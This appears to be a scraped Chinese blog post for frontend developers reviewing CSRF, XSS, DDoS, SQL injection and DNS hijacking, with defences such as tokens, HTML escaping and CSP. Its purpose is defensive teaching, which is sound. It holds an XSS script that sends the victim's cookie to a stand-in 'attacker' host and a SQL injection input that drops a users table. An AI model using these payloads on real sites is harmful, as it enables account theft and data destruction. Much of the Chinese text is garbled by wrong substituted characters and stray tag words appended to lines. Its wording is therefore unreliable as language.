引言: 转前端一年了,期间工做较忙,也没时间整理一些知识体系,此系列文章是对前端基础的一些回顾与总结。本文主要总结一下前端须要关注的web安全。
CSRF(Cross Site Request Forgery,跨站请求伪造)攻击是一种依赖web浏览器的、被混淆过的代理人攻击,经过假装来自受信任用户的请求来利用受信任的网站,形成我的隐私泄露及财产安全javascript
因而,网站B就经过盗用保存在客户端的cookie,以客户端的身份来访问网站A,作一些诸如:发送信息,邮件,盗取帐户,财产等违法操做。
上面说的是狭义的csrf,其实广义的csrf是指准确的猜想出你的请求参数,而后构造出一个合法的请求去进行curd,实际上不必定依赖于浏览器,但它的前提是要找到xss漏洞。php
防范csrf的根本方法是有效辨别请求是否来源于正常的用户。能够经过 token 、 referer、 验证码 来判断:html
token的原理是:使用存放在cookie或者前端某处的某个值,经过约定的方法加密成一串字符串,做为参数传递给后台,后台根据一样的算法加密,对比2个值是否相等。通常来讲是在cookie里放一个token,因为同源策略,伪造者没法获取cookie里面的信息,因此即便知道了算法,也构造不出校验串。前端
<meta content="_csrf" name="csrf-param"> <meta content="6eEHcEur-Q-CoC0eMc3GIRofusFMhD6fYr4Y" name="csrf-token">
<input type="hidden" name="csrf_token" value="<? echo $token;?>">
经过请求头中的referer字段判断请求的来源,但这种方式不太保险,由于referer有可能被伪造。vue
在一些很敏感的curd操做中,能够作验证码校验。在现有技术下,破解一个验证码是有必定难度的,好比12306的地狱级验证码。可是考虑到用户体验,这种较为安全的校验方式须要合理地使用。java
如今业界内大多数的防csrf的方案都是token+referer。但token是在cookie没有被盗取的前提下才有安全性,而referer也并不难伪造,因此,即便作好了csrf,若是网站存在XSS漏洞,被攻击者盗用了cookie信息,那么,token+referer的防范手段将形同虚设。
跨站脚本攻击(XSS,Cross-site scripting)是最多见和基本的攻击Web网站的方法。攻击者能够在网页上发布包含攻击性代码的数据,当浏览者看到此网页时,特定的脚本就会以浏览者用户的身份和权限来执行。经过XSS能够比较容易地修改用户数据、窃取用户信息以及形成其它类型的攻击。linux
XSS的本质就是在用户的浏览器执行一段恶意的JS代码,其攻击方式大体能够分为3类,咱们假设攻击代码是为了盗取咱们的cookie信息:nginx
//攻击代码 <script> window.location='http://attacker/?cookie='+document.cookie; </script>
而咱们服务器和前端未作XSS防范,直接拿取连接中的参数,显示到页面:web
<?php echo ‘Hi,’ . $_GET[‘name’]; ?>
反射型是指恶意代码来自用户的请求。算法
反射型的xss须要诱使用户主动点击攻击者伪造的连接,发起请求,最终将恶意代码在浏览器运行。
存储型是指恶意代码来自网站数据库,攻击者经过网站的输入途径,好比评论,将恶意代码存入数据库。而后其余用户访问这个页面,就会执行这段代码。从而收到攻击。
DOM XSS 是存储型 XSS 和 反射型 XSS 的变种。就是将攻击脚本注入到 DOM 结构里的攻击手法,在 DOM XSS 攻击中,一直到页面运行了 JavaScript,恶意字符串才被实际的解析。
随着 WEB 应用愈来愈高级,愈来愈多的 HTML 是在客户端经过 JavaScript 生成而不是在服务端生成。任什么时候候不刷新整个页面,须要更新内容,就必须经过 JavaScript 进行。值得注意的是,AJAX 请求后更新页面就是这样的例子。
也就是说,XSS 漏洞不只能够出如今网站服务端代码,还可能出如今客户端 JavaScript 代码中。结果就是,即便服务端代码彻底没问题,在页面加载完成后,客户端代码仍是可能在 DOM 更新中不安全的包含了用户输入。一旦发生,客户端代码就存与服务端无关的 XSS 漏洞
XSS是有不少奇淫技巧的,防范手段也是见仁见智。这里我只说几种常见的防范方法:
< , ' , " , / , > , &
字符的过滤function escapeHtml(string) { return string .replace(/&/g, '&') .replace(/</g, '<') .replace(/>/g, '>') .replace(/"/g, '"') .replace(/'/g, ''') .replace(/\//g, '/') }
function htmlEncode(html) { var sub = document.createElement('div'); sub.textContent != null ? sub.textContent = html : sub.innerText = html; var output = sub.innerHTML; sub = null; return output; } function htmlDecode(text) { var sub = document.createElement('div'); sub.innerHTML = text; var output = sub.textContent || sub.innerText; sub = null; return output; }
输入的信息通常都须要符合必定的规范,好比说字符类型,字符长度等,能够在入库或者提交以前对输入信息进行校验和过滤。这里的方法就太多了,具体业务具体分析
CSP 用来限制浏览器 viewing your page 保证其只能使用从可信任的源下载的资源。资源能够是脚本、样式表、图片或是页面引用的其它类型文件。也就是说,即便攻击者成功在网站中注入了恶意代码,CSP 能够防止其被执行
CSP 能够用来强制实施下面的规则:
如何启用?
默认状况下,浏览器不强制使用 CSP。为了给网站开启 CSP,响应中要带上额外的 HTTP 头:Content-Security-Policy。若是浏览器支持 CSP,那么全部带有这一 HTTP 头的页面都会遵照 CSP。
具体的CSP语法可参考:CSP
在现代的前端和后端框架中,通常都会内置对于XSS的过滤功能,好比vue的 {{}} 就对输出的内容进行了实体转换。做为一名开发人员,最重要的是有防范XSS的意识,编码的过程当中要思考一下这个输入是否会形成网站安全。
DDOS(分布式拒绝服务)是以经过某种手段,导致网站的某个环节崩溃或者瘫痪,从而使网站没法正常运行为目的的一些攻击手段的总称。比较常见的就是经过一些“肉鸡”无间断的大量发送请求,使目标服务器超出负荷,从而崩溃瘫痪。
近期比较有影响力的DDOS攻击事件就是著名的博客做者,前端布道者-阮一峰老师的博客被ddos攻击,博客下线了50个小时。
咱们可使用一些策略,对一些明显的恶意请求进行拦截:
可是这种过滤的前提是ddos 的攻击有必定的规律可循,可是通常来讲,高级的ddos每每是假装成一个合法的请求,难以识别。
最有效的方法就是,有足够的带宽去应对这些ddos请求,可是这样的成本较高。目前大多数服务器运营商都提供了防ddos的方案,其原理是,平时会有大量的冗余带宽待命,遭到攻击时就将请求分流到冗余带宽,使服务器不至于崩溃。
cdn 能有效的保证请求的稳定性,由于请求并非直接请求服务器,而是如今cdn里找,找不到再由cdn去缘服务器上找。另外一方面,cdn的服务器不止一台,能有效的作分流。
在遭受攻击后,若是以前备份了网站,那能够先使用备份网站,不至于整个业务中止。
ps:发起DDOS也是须要很高成本的,通常来讲,普通的网站基本不会有这种待遇。
Sql 注入攻击是经过将恶意的 Sql 查询或添加语句插入到应用的输入参数中,再在后台 Sql 服务器上解析执行进行的攻击,它目前黑客对数据库进行攻击的最经常使用手段之一。
带来的危害:
假设有个连接请求是这样的:
www.a.com/query?userId=123
功能是查询userId为123的用户出来,这个请求到咱们服务端最后 sql语句是这样:
select * from users where userid=123
那若是咱们没对用户输入作校验,用户输入了一个这样的字符串
123; DROP TABLE users;
那咱们最后执行的 sql 就变成了
select * from users where userid=123; DROP TABLE users;
而后,你就能够跑路了,由于库已经被删了。(手动滑稽)
从上面的例子,咱们能够看出sql的攻击原理,其本质就是经过构建特殊的输入做为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,经过执行SQL语句进而执行攻击者所要的操做,其主要缘由是程序没有细致地过滤用户输入的数据,导致非法数据侵入系统。
最重要的一个原则就是:永远不要相信外来的输入!
具体能够这么作:
DNS劫持就是经过劫持了DNS服务器,经过某些手段取得某域名的解析记录控制权,进而修改此域名的解析结果,致使对该域名的访问由原IP地址转入到修改后的指定IP,其结果就是对特定的网址不能访问或访问的是假网址,从而实现窃取资料或者破坏原有正常服务的目的。
是否是发现了?你访问的网址会失去响应或者跳到别的恶意网站,是否是会怀疑本身访问的是个假网址?哈哈..
DNS劫持一方面可能影响用户的正常体验,用户被引到假冒的网站进而没法正常浏览网页。用户量较大的网站域名被劫持后恶劣影响会不断扩大,用户可能被诱骗到冒牌网站进行登陆等操做致使泄露隐私数据.
相信作好以上几点,DNS劫持是很难发生啦~
做为web前端开发人员,必定要有安全意识,虽然大部分用户都是善良的,可是也要防范于未然。否则被攻击了,那可就劳民又伤财了。说不定还得拿起包袱走人。俗话说,最怕有心算无意,关于安全,本文所讲到的只是常见的一些攻击手段,江湖上的奇淫技巧数不胜数,建议有时间仍是深刻研究一下。
参考文章
https://zoumiaojiang.com/arti...
https://www.cnblogs.com/vajoy...
https://juejin.im/entry/58bad...
https://segmentfault.com/a/11...
https://developer.mozilla.org...
https://www.jianshu.com/p/078...